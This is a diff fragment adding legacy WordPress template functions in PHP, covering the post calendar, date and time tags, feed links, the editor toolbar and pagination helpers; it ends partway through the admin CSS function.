+	$calendar_caption = _x('%1$s %2$s', 'calendar caption');
+	echo '<table id="wp-calendar" summary="' . __('Calendar') . '">
+	<caption>' . sprintf($calendar_caption, $wp_locale->get_month($thismonth), date('Y', $unixmonth)) . '</caption>
+	<thead>
+	<tr>';
+
+	$myweek = array();
+
+	for ( $wdcount=0; $wdcount<=6; $wdcount++ ) {
+		$myweek[] = $wp_locale->get_weekday(($wdcount+$week_begins)%7);
+	}
+
+	foreach ( $myweek as $wd ) {
+		$day_name = (true == $initial) ? $wp_locale->get_weekday_initial($wd) : $wp_locale->get_weekday_abbrev($wd);
+		echo "\n\t\t<th abbr=\"$wd\" scope=\"col\" title=\"$wd\">$day_name</th>";
+	}
+
+	echo '
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>';
+
+	if ( $previous ) {
+		echo "\n\t\t".'<td abbr="' . $wp_locale->get_month($previous->month) . '" colspan="3" id="prev"><a href="' .
+		get_month_link($previous->year, $previous->month) . '" title="' . sprintf(__('View posts for %1$s %2$s'), $wp_locale->get_month($previous->month),
+			date('Y', mktime(0, 0 , 0, $previous->month, 1, $previous->year))) . '">&laquo; ' . $wp_locale->get_month_abbrev($wp_locale->get_month($previous->month)) . '</a></td>';
+	} else {
+		echo "\n\t\t".'<td colspan="3" id="prev" class="pad">&nbsp;</td>';
+	}
+
+	echo "\n\t\t".'<td class="pad">&nbsp;</td>';
+
+	if ( $next ) {
+		echo "\n\t\t".'<td abbr="' . $wp_locale->get_month($next->month) . '" colspan="3" id="next"><a href="' .
+		get_month_link($next->year, $next->month) . '" title="' . sprintf(__('View posts for %1$s %2$s'), $wp_locale->get_month($next->month),
+			date('Y', mktime(0, 0 , 0, $next->month, 1, $next->year))) . '">' . $wp_locale->get_month_abbrev($wp_locale->get_month($next->month)) . ' &raquo;</a></td>';
+	} else {
+		echo "\n\t\t".'<td colspan="3" id="next" class="pad">&nbsp;</td>';
+	}
+
+	echo '
+	</tr>
+	</tfoot>
+
+	<tbody>
+	<tr>';
+
+	// Get days with posts
+	$dayswithposts = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date)
+		FROM $wpdb->posts WHERE MONTH(post_date) = '$thismonth'
+		AND YEAR(post_date) = '$thisyear'
+		AND post_type = 'post' AND post_status = 'publish'
+		AND post_date < '" . current_time('mysql') . '\'', ARRAY_N);
+	if ( $dayswithposts ) {
+		foreach ( (array) $dayswithposts as $daywith ) {
+			$daywithpost[] = $daywith[0];
+		}
+	} else {
+		$daywithpost = array();
+	}
+
+	if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false || strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'camino') !== false || strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'safari') !== false)
+		$ak_title_separator = "\n";
+	else
+		$ak_title_separator = ', ';
+
+	$ak_titles_for_day = array();
+	$ak_post_titles = $wpdb->get_results("SELECT post_title, DAYOFMONTH(post_date) as dom "
+		."FROM $wpdb->posts "
+		."WHERE YEAR(post_date) = '$thisyear' "
+		."AND MONTH(post_date) = '$thismonth' "
+		."AND post_date < '".current_time('mysql')."' "
+		."AND post_type = 'post' AND post_status = 'publish'"
+	);
+	if ( $ak_post_titles ) {
+		foreach ( (array) $ak_post_titles as $ak_post_title ) {
+
+				$post_title = esc_attr( apply_filters( 'the_title', $ak_post_title->post_title ) );
+
+				if ( empty($ak_titles_for_day['day_'.$ak_post_title->dom]) )
+					$ak_titles_for_day['day_'.$ak_post_title->dom] = '';
+				if ( empty($ak_titles_for_day["$ak_post_title->dom"]) ) // first one
+					$ak_titles_for_day["$ak_post_title->dom"] = $post_title;
+				else
+					$ak_titles_for_day["$ak_post_title->dom"] .= $ak_title_separator . $post_title;
+		}
+	}
+
+
+	// See how much we should pad in the beginning
+	$pad = calendar_week_mod(date('w', $unixmonth)-$week_begins);
+	if ( 0 != $pad )
+		echo "\n\t\t".'<td colspan="'.$pad.'" class="pad">&nbsp;</td>';
+
+	$daysinmonth = intval(date('t', $unixmonth));
+	for ( $day = 1; $day <= $daysinmonth; ++$day ) {
+		if ( isset($newrow) && $newrow )
+			echo "\n\t</tr>\n\t<tr>\n\t\t";
+		$newrow = false;
+
+		if ( $day == gmdate('j', (time() + (get_option('gmt_offset') * 3600))) && $thismonth == gmdate('m', time()+(get_option('gmt_offset') * 3600)) && $thisyear == gmdate('Y', time()+(get_option('gmt_offset') * 3600)) )
+			echo '<td id="today">';
+		else
+			echo '<td>';
+
+		if ( in_array($day, $daywithpost) ) // any posts today?
+				echo '<a href="' . get_day_link($thisyear, $thismonth, $day) . "\" title=\"$ak_titles_for_day[$day]\">$day</a>";
+		else
+			echo $day;
+		echo '</td>';
+
+		if ( 6 == calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins) )
+			$newrow = true;
+	}
+
+	$pad = 7 - calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins);
+	if ( $pad != 0 && $pad != 7 )
+		echo "\n\t\t".'<td class="pad" colspan="'.$pad.'">&nbsp;</td>';
+
+	echo "\n\t</tr>\n\t</tbody>\n\t</table>";
+
+	$output = ob_get_contents();
+	ob_end_clean();
+	echo $output;
+	$cache[ $key ] = $output;
+	wp_cache_set( 'get_calendar', $cache, 'calendar' );
+}
+
+/**
+ * Purge the cached results of get_calendar.
+ *
+ * @see get_calendar
+ * @since 2.1.0
+ */
+function delete_get_calendar_cache() {
+	wp_cache_delete( 'get_calendar', 'calendar' );
+}
+add_action( 'save_post', 'delete_get_calendar_cache' );
+add_action( 'delete_post', 'delete_get_calendar_cache' );
+add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' );
+add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' );
+add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' );
+
+/**
+ * Display all of the allowed tags in HTML format with attributes.
+ *
+ * This is useful for displaying in the comment area, which elements and
+ * attributes are supported. As well as any plugins which want to display it.
+ *
+ * @since 1.0.1
+ * @uses $allowedtags
+ *
+ * @return string HTML allowed tags entity encoded.
+ */
+function allowed_tags() {
+	global $allowedtags;
+	$allowed = '';
+	foreach ( (array) $allowedtags as $tag => $attributes ) {
+		$allowed .= '<'.$tag;
+		if ( 0 < count($attributes) ) {
+			foreach ( $attributes as $attribute => $limits ) {
+				$allowed .= ' '.$attribute.'=""';
+			}
+		}
+		$allowed .= '> ';
+	}
+	return htmlentities($allowed);
+}
+
+/***** Date/Time tags *****/
+
+/**
+ * Outputs the date in iso8601 format for xml files.
+ *
+ * @since 1.0.0
+ */
+function the_date_xml() {
+	global $post;
+	echo mysql2date('Y-m-d', $post->post_date, false);
+}
+
+/**
+ * Display or Retrieve the date the post was written.
+ *
+ * Will only output the date if the current post's date is different from the
+ * previous one output.
+ *
+ * @since 0.71
+ *
+ * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
+ * @param string $before Optional. Output before the date.
+ * @param string $after Optional. Output after the date.
+ * @param bool $echo Optional, default is display. Whether to echo the date or return it.
+ * @return string|null Null if displaying, string if retrieving.
+ */
+function the_date($d='', $before='', $after='', $echo = true) {
+	global $post, $day, $previousday;
+	$the_date = '';
+	if ( $day != $previousday ) {
+		$the_date .= $before;
+		if ( $d=='' )
+			$the_date .= mysql2date(get_option('date_format'), $post->post_date);
+		else
+			$the_date .= mysql2date($d, $post->post_date);
+		$the_date .= $after;
+		$previousday = $day;
+
+	$the_date = apply_filters('the_date', $the_date, $d, $before, $after);
+	if ( $echo )
+		echo $the_date;
+	else
+		return $the_date;
+	}
+}
+
+/**
+ * Display the date on which the post was last modified.
+ *
+ * @since 2.1.0
+ *
+ * @param string $d Optional. PHP date format.
+ * @return string
+ */
+function the_modified_date($d = '') {
+	echo apply_filters('the_modified_date', get_the_modified_date($d), $d);
+}
+
+/**
+ * Retrieve the date on which the post was last modified.
+ *
+ * @since 2.1.0
+ *
+ * @param string $d Optional. PHP date format. Defaults to the "date_format" option
+ * @return string
+ */
+function get_the_modified_date($d = '') {
+	if ( '' == $d )
+		$the_time = get_post_modified_time(get_option('date_format'), null, null, true);
+	else
+		$the_time = get_post_modified_time($d, null, null, true);
+	return apply_filters('get_the_modified_date', $the_time, $d);
+}
+
+/**
+ * Display the time at which the post was written.
+ *
+ * @since 0.71
+ *
+ * @param string $d Either 'G', 'U', or php date format.
+ */
+function the_time( $d = '' ) {
+	echo apply_filters('the_time', get_the_time( $d ), $d);
+}
+
+/**
+ * Retrieve the time at which the post was written.
+ *
+ * @since 1.5.0
+ *
+ * @param string $d Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
+ * @param int|object $post Optional post ID or object. Default is global $post object.
+ * @return string
+ */
+function get_the_time( $d = '', $post = null ) {
+	$post = get_post($post);
+
+	if ( '' == $d )
+		$the_time = get_post_time(get_option('time_format'), false, $post, true);
+	else
+		$the_time = get_post_time($d, false, $post, true);
+	return apply_filters('get_the_time', $the_time, $d, $post);
+}
+
+/**
+ * Retrieve the time at which the post was written.
+ *
+ * @since 2.0.0
+ *
+ * @param string $d Either 'G', 'U', or php date format.
+ * @param bool $gmt Whether of not to return the gmt time.
+ * @param int|object $post Optional post ID or object. Default is global $post object.
+ * @param bool $translate Whether to translate the time string or not
+ * @return string
+ */
+function get_post_time( $d = 'U', $gmt = false, $post = null, $translate = false ) { // returns timestamp
+	$post = get_post($post);
+
+	if ( $gmt )
+		$time = $post->post_date_gmt;
+	else
+		$time = $post->post_date;
+
+	$time = mysql2date($d, $time, $translate);
+	return apply_filters('get_post_time', $time, $d, $gmt);
+}
+
+/**
+ * Display the time at which the post was last modified.
+ *
+ * @since 2.0.0
+ *
+ * @param string $d Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
+ */
+function the_modified_time($d = '') {
+	echo apply_filters('the_modified_time', get_the_modified_time($d), $d);
+}
+
+/**
+ * Retrieve the time at which the post was last modified.
+ *
+ * @since 2.0.0
+ *
+ * @param string $d Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
+ * @return string
+ */
+function get_the_modified_time($d = '') {
+	if ( '' == $d )
+		$the_time = get_post_modified_time(get_option('time_format'), null, null, true);
+	else
+		$the_time = get_post_modified_time($d, null, null, true);
+	return apply_filters('get_the_modified_time', $the_time, $d);
+}
+
+/**
+ * Retrieve the time at which the post was last modified.
+ *
+ * @since 2.0.0
+ *
+ * @param string $d Either 'G', 'U', or php date format.
+ * @param bool $gmt Whether of not to return the gmt time.
+ * @param int|object $post A post_id or post object
+ * @param bool translate Whether to translate the result or not
+ * @return string Returns timestamp
+ */
+function get_post_modified_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
+	$post = get_post($post);
+
+	if ( $gmt )
+		$time = $post->post_modified_gmt;
+	else
+		$time = $post->post_modified;
+	$time = mysql2date($d, $time, $translate);
+
+	return apply_filters('get_post_modified_time', $time, $d, $gmt);
+}
+
+/**
+ * Display the weekday on which the post was written.
+ *
+ * @since 0.71
+ * @uses $wp_locale
+ * @uses $post
+ */
+function the_weekday() {
+	global $wp_locale, $post;
+	$the_weekday = $wp_locale->get_weekday(mysql2date('w', $post->post_date, false));
+	$the_weekday = apply_filters('the_weekday', $the_weekday);
+	echo $the_weekday;
+}
+
+/**
+ * Display the weekday on which the post was written.
+ *
+ * Will only output the weekday if the current post's weekday is different from
+ * the previous one output.
+ *
+ * @since 0.71
+ *
+ * @param string $before output before the date.
+ * @param string $after output after the date.
+  */
+function the_weekday_date($before='',$after='') {
+	global $wp_locale, $post, $day, $previousweekday;
+	$the_weekday_date = '';
+	if ( $day != $previousweekday ) {
+		$the_weekday_date .= $before;
+		$the_weekday_date .= $wp_locale->get_weekday(mysql2date('w', $post->post_date, false));
+		$the_weekday_date .= $after;
+		$previousweekday = $day;
+	}
+	$the_weekday_date = apply_filters('the_weekday_date', $the_weekday_date, $before, $after);
+	echo $the_weekday_date;
+}
+
+/**
+ * Fire the wp_head action
+ *
+ * @since 1.2.0
+ * @uses do_action() Calls 'wp_head' hook.
+ */
+function wp_head() {
+	do_action('wp_head');
+}
+
+/**
+ * Fire the wp_footer action
+ *
+ * @since 1.5.1
+ * @uses do_action() Calls 'wp_footer' hook.
+ */
+function wp_footer() {
+	do_action('wp_footer');
+}
+
+/**
+ * Enable/disable automatic general feed link outputting.
+ *
+ * @since 2.8.0
+ *
+ * @param boolean $add Add or remove links. Defaults to true.
+ */
+function automatic_feed_links( $add = true ) {
+	if ( $add )
+		add_action( 'wp_head', 'feed_links', 2 );
+	else {
+		remove_action( 'wp_head', 'feed_links', 2 );
+		remove_action( 'wp_head', 'feed_links_extra', 3 );
+	}
+}
+
+/**
+ * Display the links to the general feeds.
+ *
+ * @since 2.8.0
+ *
+ * @param array $args Optional arguments.
+ */
+function feed_links( $args ) {
+	$defaults = array(
+		/* translators: Separator between blog name and feed type in feed links */
+		'separator'	=> _x('&raquo;', 'feed link'),
+		/* translators: 1: blog title, 2: separator (raquo) */
+		'feedtitle'	=> __('%1$s %2$s Feed'),
+		/* translators: %s: blog title, 2: separator (raquo) */
+		'comstitle'	=> __('%1$s %2$s Comments Feed'),
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr(sprintf( $args['feedtitle'], get_bloginfo('name'), $args['separator'] )) . '" href="' . get_feed_link() . "\" />\n";
+	echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr(sprintf( $args['comstitle'], get_bloginfo('name'), $args['separator'] )) . '" href="' . get_feed_link( 'comments_' . get_default_feed() ) . "\" />\n";
+}
+
+/**
+ * Display the links to the extra feeds such as category feeds.
+ *
+ * @since 2.8.0
+ *
+ * @param array $args Optional arguments.
+ */
+function feed_links_extra( $args ) {
+	$defaults = array(
+		/* translators: Separator between blog name and feed type in feed links */
+		'separator'   => _x('&raquo;', 'feed link'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: post title */
+		'singletitle' => __('%1$s %2$s %3$s Comments Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: category name */
+		'cattitle'    => __('%1$s %2$s %3$s Category Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: tag name */
+		'tagtitle'    => __('%1$s %2$s %3$s Tag Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: author name  */
+		'authortitle' => __('%1$s %2$s Posts by %3$s Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: search phrase */
+		'searchtitle' => __('%1$s %2$s Search Results for &#8220;%3$s&#8221; Feed'),
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( is_single() || is_page() ) {
+		$post = &get_post( $id = 0 );
+
+		if ( comments_open() || pings_open() || $post->comment_count > 0 ) {
+			$title = esc_attr(sprintf( $args['singletitle'], get_bloginfo('name'), $args['separator'], esc_html( get_the_title() ) ));
+			$href = get_post_comments_feed_link( $post->ID );
+		}
+	} elseif ( is_category() ) {
+		$cat_id = intval( get_query_var('cat') );
+
+		$title = esc_attr(sprintf( $args['cattitle'], get_bloginfo('name'), $args['separator'], get_cat_name( $cat_id ) ));
+		$href = get_category_feed_link( $cat_id );
+	} elseif ( is_tag() ) {
+		$tag_id = intval( get_query_var('tag_id') );
+		$tag = get_tag( $tag_id );
+
+		$title = esc_attr(sprintf( $args['tagtitle'], get_bloginfo('name'), $args['separator'], $tag->name ));
+		$href = get_tag_feed_link( $tag_id );
+	} elseif ( is_author() ) {
+		$author_id = intval( get_query_var('author') );
+
+		$title = esc_attr(sprintf( $args['authortitle'], get_bloginfo('name'), $args['separator'], get_the_author_meta( 'display_name', $author_id ) ));
+		$href = get_author_feed_link( $author_id );
+	} elseif ( is_search() ) {
+		$title = esc_attr(sprintf( $args['searchtitle'], get_bloginfo('name'), $args['separator'], get_search_query() ));
+		$href = get_search_feed_link();
+	}
+
+	if ( isset($title) && isset($href) )
+		echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . $title . '" href="' . $href . '" />' . "\n";
+}
+
+/**
+ * Display the link to the Really Simple Discovery service endpoint.
+ *
+ * @link http://archipelago.phrasewise.com/rsd
+ * @since 2.0.0
+ */
+function rsd_link() {
+	echo '<link rel="EditURI" type="application/rsd+xml" title="RSD" href="' . get_bloginfo('wpurl') . "/xmlrpc.php?rsd\" />\n";
+}
+
+/**
+ * Display the link to the Windows Live Writer manifest file.
+ *
+ * @link http://msdn.microsoft.com/en-us/library/bb463265.aspx
+ * @since 2.3.1
+ */
+function wlwmanifest_link() {
+	echo '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="'
+		. get_bloginfo('wpurl') . '/wp-includes/wlwmanifest.xml" /> ' . "\n";
+}
+
+/**
+ * Display a noindex meta tag if required by the blog configuration.
+ *
+ * If a blog is marked as not being public then the noindex meta tag will be
+ * output to tell web robots not to index the page content.
+ *
+ * @since 2.1.0
+ */
+function noindex() {
+	// If the blog is not public, tell robots to go away.
+	if ( '0' == get_option('blog_public') )
+		echo "<meta name='robots' content='noindex,nofollow' />\n";
+}
+
+/**
+ * Determine if TinyMCE is available.
+ *
+ * Checks to see if the user has deleted the tinymce files to slim down there WordPress install.
+ *
+ * @since 2.1.0
+ *
+ * @return bool Whether of not TinyMCE exists.
+ */
+function rich_edit_exists() {
+	global $wp_rich_edit_exists;
+	if ( !isset($wp_rich_edit_exists) )
+		$wp_rich_edit_exists = file_exists(ABSPATH . WPINC . '/js/tinymce/tiny_mce.js');
+	return $wp_rich_edit_exists;
+}
+
+/**
+ * Whether or not the user should have a WYSIWIG editor.
+ *
+ * Checks that the user requires a WYSIWIG editor and that the editor is
+ * supported in the users browser.
+ *
+ * @since 2.0.0
+ *
+ * @return bool
+ */
+function user_can_richedit() {
+	global $wp_rich_edit, $pagenow;
+
+	if ( !isset( $wp_rich_edit) ) {
+		if ( get_user_option( 'rich_editing' ) == 'true' &&
+			( ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && intval($match[1]) >= 420 ) ||
+				!preg_match( '!opera[ /][2-8]|konqueror|safari!i', $_SERVER['HTTP_USER_AGENT'] ) )
+				&& 'comment.php' != $pagenow ) {
+			$wp_rich_edit = true;
+		} else {
+			$wp_rich_edit = false;
+		}
+	}
+
+	return apply_filters('user_can_richedit', $wp_rich_edit);
+}
+
+/**
+ * Find out which editor should be displayed by default.
+ *
+ * Works out which of the two editors to display as the current editor for a
+ * user.
+ *
+ * @since 2.5.0
+ *
+ * @return string Either 'tinymce', or 'html', or 'test'
+ */
+function wp_default_editor() {
+	$r = user_can_richedit() ? 'tinymce' : 'html'; // defaults
+	if ( $user = wp_get_current_user() ) { // look for cookie
+		$ed = get_user_setting('editor', 'tinymce');
+		$r = ( in_array($ed, array('tinymce', 'html', 'test') ) ) ? $ed : $r;
+	}
+	return apply_filters( 'wp_default_editor', $r ); // filter
+}
+
+/**
+ * Display visual editor forms: TinyMCE, or HTML, or both.
+ *
+ * The amount of rows the text area will have for the content has to be between
+ * 3 and 100 or will default at 12. There is only one option used for all users,
+ * named 'default_post_edit_rows'.
+ *
+ * If the user can not use the rich editor (TinyMCE), then the switch button
+ * will not be displayed.
+ *
+ * @since 2.1.0
+ *
+ * @param string $content Textarea content.
+ * @param string $id HTML ID attribute value.
+ * @param string $prev_id HTML ID name for switching back and forth between visual editors.
+ * @param bool $media_buttons Optional, default is true. Whether to display media buttons.
+ * @param int $tab_index Optional, default is 2. Tabindex for textarea element.
+ */
+function the_editor($content, $id = 'content', $prev_id = 'title', $media_buttons = true, $tab_index = 2) {
+	$rows = get_option('default_post_edit_rows');
+	if (($rows < 3) || ($rows > 100))
+		$rows = 12;
+
+	if ( !current_user_can( 'upload_files' ) )
+		$media_buttons = false;
+
+	$richedit =  user_can_richedit();
+	$class = '';
+
+	if ( $richedit || $media_buttons ) { ?>
+	<div id="editor-toolbar">
+<?php
+	if ( $richedit ) {
+		$wp_default_editor = wp_default_editor(); ?>
+		<div class="zerosize"><input accesskey="e" type="button" onclick="switchEditors.go('<?php echo $id; ?>')" /></div>
+<?php	if ( 'html' == $wp_default_editor ) {
+			add_filter('the_editor_content', 'wp_htmledit_pre'); ?>
+			<a id="edButtonHTML" class="active hide-if-no-js" onclick="switchEditors.go('<?php echo $id; ?>', 'html');"><?php _e('HTML'); ?></a>
+			<a id="edButtonPreview" class="hide-if-no-js" onclick="switchEditors.go('<?php echo $id; ?>', 'tinymce');"><?php _e('Visual'); ?></a>
+<?php	} else {
+			$class = " class='theEditor'";
+			add_filter('the_editor_content', 'wp_richedit_pre'); ?>
+			<a id="edButtonHTML" class="hide-if-no-js" onclick="switchEditors.go('<?php echo $id; ?>', 'html');"><?php _e('HTML'); ?></a>
+			<a id="edButtonPreview" class="active hide-if-no-js" onclick="switchEditors.go('<?php echo $id; ?>', 'tinymce');"><?php _e('Visual'); ?></a>
+<?php	}
+	}
+
+	if ( $media_buttons ) { ?>
+		<div id="media-buttons" class="hide-if-no-js">
+<?php	do_action( 'media_buttons' ); ?>
+		</div>
+<?php
+	} ?>
+	</div>
+<?php
+	}
+?>
+	<div id="quicktags"><?php
+	wp_print_scripts( 'quicktags' ); ?>
+	<script type="text/javascript">edToolbar()</script>
+	</div>
+
+<?php
+	$the_editor = apply_filters('the_editor', "<div id='editorcontainer'><textarea rows='$rows'$class cols='40' name='$id' tabindex='$tab_index' id='$id'>%s</textarea></div>\n");
+	$the_editor_content = apply_filters('the_editor_content', $content);
+
+	printf($the_editor, $the_editor_content);
+
+?>
+	<script type="text/javascript">
+	edCanvas = document.getElementById('<?php echo $id; ?>');
+	</script>
+<?php
+}
+
+/**
+ * Retrieve the contents of the search WordPress query variable.
+ *
+ * @since 2.3.0
+ *
+ * @return string
+ */
+function get_search_query() {
+	return apply_filters( 'get_search_query', stripslashes( get_query_var( 's' ) ) );
+}
+
+/**
+ * Display the contents of the search query variable.
+ *
+ * The search query string is passed through {@link esc_attr()}
+ * to ensure that it is safe for placing in an html attribute.
+ *
+ * @uses attr
+ * @since 2.1.0
+ */
+function the_search_query() {
+	echo esc_attr( apply_filters( 'the_search_query', get_search_query() ) );
+}
+
+/**
+ * Display the language attributes for the html tag.
+ *
+ * Builds up a set of html attributes containing the text direction and language
+ * information for the page.
+ *
+ * @since 2.1.0
+ *
+ * @param string $doctype The type of html document (xhtml|html).
+ */
+function language_attributes($doctype = 'html') {
+	$attributes = array();
+	$output = '';
+
+	if ( $dir = get_bloginfo('text_direction') )
+		$attributes[] = "dir=\"$dir\"";
+
+	if ( $lang = get_bloginfo('language') ) {
+		if ( get_option('html_type') == 'text/html' || $doctype == 'html' )
+			$attributes[] = "lang=\"$lang\"";
+
+		if ( get_option('html_type') != 'text/html' || $doctype == 'xhtml' )
+			$attributes[] = "xml:lang=\"$lang\"";
+	}
+
+	$output = implode(' ', $attributes);
+	$output = apply_filters('language_attributes', $output);
+	echo $output;
+}
+
+/**
+ * Retrieve paginated link for archive post pages.
+ *
+ * Technically, the function can be used to create paginated link list for any
+ * area. The 'base' argument is used to reference the url, which will be used to
+ * create the paginated links. The 'format' argument is then used for replacing
+ * the page number. It is however, most likely and by default, to be used on the
+ * archive post pages.
+ *
+ * The 'type' argument controls format of the returned value. The default is
+ * 'plain', which is just a string with the links separated by a newline
+ * character. The other possible values are either 'array' or 'list'. The
+ * 'array' value will return an array of the paginated link list to offer full
+ * control of display. The 'list' value will place all of the paginated links in
+ * an unordered HTML list.
+ *
+ * The 'total' argument is the total amount of pages and is an integer. The
+ * 'current' argument is the current page number and is also an integer.
+ *
+ * An example of the 'base' argument is "http://example.com/all_posts.php%_%"
+ * and the '%_%' is required. The '%_%' will be replaced by the contents of in
+ * the 'format' argument. An example for the 'format' argument is "?page=%#%"
+ * and the '%#%' is also required. The '%#%' will be replaced with the page
+ * number.
+ *
+ * You can include the previous and next links in the list by setting the
+ * 'prev_next' argument to true, which it is by default. You can set the
+ * previous text, by using the 'prev_text' argument. You can set the next text
+ * by setting the 'next_text' argument.
+ *
+ * If the 'show_all' argument is set to true, then it will show all of the pages
+ * instead of a short list of the pages near the current page. By default, the
+ * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size'
+ * arguments. The 'end_size' argument is how many numbers on either the start
+ * and the end list edges, by default is 1. The 'mid_size' argument is how many
+ * numbers to either side of current page, but not including current page.
+ *
+ * It is possible to add query vars to the link by using the 'add_args' argument
+ * and see {@link add_query_arg()} for more information.
+ *
+ * @since 2.1.0
+ *
+ * @param string|array $args Optional. Override defaults.
+ * @return array|string String of page links or array of page links.
+ */
+function paginate_links( $args = '' ) {
+	$defaults = array(
+		'base' => '%_%', // http://example.com/all_posts.php%_% : %_% is replaced by format (below)
+		'format' => '?page=%#%', // ?page=%#% : %#% is replaced by the page number
+		'total' => 1,
+		'current' => 0,
+		'show_all' => false,
+		'prev_next' => true,
+		'prev_text' => __('&laquo; Previous'),
+		'next_text' => __('Next &raquo;'),
+		'end_size' => 1,
+		'mid_size' => 2,
+		'type' => 'plain',
+		'add_args' => false, // array of query args to add
+		'add_fragment' => ''
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+	extract($args, EXTR_SKIP);
+
+	// Who knows what else people pass in $args
+	$total = (int) $total;
+	if ( $total < 2 )
+		return;
+	$current  = (int) $current;
+	$end_size = 0  < (int) $end_size ? (int) $end_size : 1; // Out of bounds?  Make it the default.
+	$mid_size = 0 <= (int) $mid_size ? (int) $mid_size : 2;
+	$add_args = is_array($add_args) ? $add_args : false;
+	$r = '';
+	$page_links = array();
+	$n = 0;
+	$dots = false;
+
+	if ( $prev_next && $current && 1 < $current ) :
+		$link = str_replace('%_%', 2 == $current ? '' : $format, $base);
+		$link = str_replace('%#%', $current - 1, $link);
+		if ( $add_args )
+			$link = add_query_arg( $add_args, $link );
+		$link .= $add_fragment;
+		$page_links[] = "<a class='prev page-numbers' href='" . esc_url($link) . "'>$prev_text</a>";
+	endif;
+	for ( $n = 1; $n <= $total; $n++ ) :
+		$n_display = number_format_i18n($n);
+		if ( $n == $current ) :
+			$page_links[] = "<span class='page-numbers current'>$n_display</span>";
+			$dots = true;
+		else :
+			if ( $show_all || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) :
+				$link = str_replace('%_%', 1 == $n ? '' : $format, $base);
+				$link = str_replace('%#%', $n, $link);
+				if ( $add_args )
+					$link = add_query_arg( $add_args, $link );
+				$link .= $add_fragment;
+				$page_links[] = "<a class='page-numbers' href='" . esc_url($link) . "'>$n_display</a>";
+				$dots = true;
+			elseif ( $dots && !$show_all ) :
+				$page_links[] = "<span class='page-numbers dots'>...</span>";
+				$dots = false;
+			endif;
+		endif;
+	endfor;
+	if ( $prev_next && $current && ( $current < $total || -1 == $total ) ) :
+		$link = str_replace('%_%', $format, $base);
+		$link = str_replace('%#%', $current + 1, $link);
+		if ( $add_args )
+			$link = add_query_arg( $add_args, $link );
+		$link .= $add_fragment;
+		$page_links[] = "<a class='next page-numbers' href='" . esc_url($link) . "'>$next_text</a>";
+	endif;
+	switch ( $type ) :
+		case 'array' :
+			return $page_links;
+			break;
+		case 'list' :
+			$r .= "<ul class='page-numbers'>\n\t<li>";
+			$r .= join("</li>\n\t<li>", $page_links);
+			$r .= "</li>\n</ul>\n";
+			break;
+		default :
+			$r = join("\n", $page_links);
+			break;
+	endswitch;
+	return $r;
+}
+
+/**
+ * Registers an admin colour scheme css file.
+ *
+ * Allows a plugin to register a new admin colour scheme. For example:
+ * <code>
+ * wp_admin_css_color('classic', __('Classic'), admin_url("css/colors-classic.css"),
+ * array('#07273E', '#14568A', '#D54E21', '#2683AE'));
+ * </code>
+ *
+ * @since 2.5.0
+ *
+ * @param string $key The unique key for this theme.
+ * @param string $name The name of the theme.
+ * @param string $url The url of the css file containing the colour scheme.
+ * @param array @colors An array of CSS color definitions which are used to give the user a feel for the theme.
+ */
+function wp_admin_css_color($key, $name, $url, $colors = array()) {
+	global $_wp_admin_css_colors;
+
+	if ( !isset($_wp_admin_css_colors) )
+		$_wp_admin_css_colors = array();
+
+	$_wp_admin_css_colors[$key] = (object) array('name' => $name, 'url' => $url, 'colors' => $colors);
+}
+
+/**
+ * Display the URL of a WordPress admin CSS file.
+ *
+ * @see WP_Styles::_css_href and its style_loader_src filter.
+ *
+ * @since 2.3.0
+ *
+ * @param string $file file relative to wp-admin/ without its ".css" extension.
+ */
+function wp_admin_css_uri( $file = 'wp-admin' ) {
+	if ( defined('WP_INSTALLING') ) {
+		$_file = "./$file.css";
+	} else {
+		$_file = admin_url("$file.css");
+	}
+	$_file = add_query_arg( 'version', get_bloginfo( 'version' ),  $_file );
+
+	return apply_filters( 'wp_admin_css_uri', $_file, $file );
+}
+
+/**
+ * Enqueues or directly prints a stylesheet link to the specified CSS file.
+ *
+ * "Intelligently" decides to enqueue or to print the CSS file. If the
+ * 'wp_print_styles' action has *not* yet been called, the CSS file will be
+ * enqueued. If the wp_print_styles action *has* been called, the CSS link will
+ * be printed. Printing may be forced by passing TRUE as the $force_echo
+ * (second) parameter.
+ *
+ * For backward compatibility with WordPress 2.3 calling method: If the $file
+ * (first) parameter does not correspond to a registered CSS file, we assume
+ * $file is a file relative to wp-admin/ without its ".css" extension. A
+ * stylesheet link to that generated URL is printed.
+ *
+ * @package WordPress
+ * @since 2.3.0
+ * @uses $wp_styles WordPress Styles Object
+ *
+ * @param string $file Style handle name or file name (without ".css" extension) relative to wp-admin/
+ * @param bool $force_echo Optional.  Force the stylesheet link to be printed rather than enqueued.
+ */
+function wp_admin_css( $file = 'wp-admin', $force_echo = false ) {
+	global $wp_styles;
+	if ( !is_a($wp_styles, 'WP_Styles') )
+		$wp_styles = new WP_Styles();
+
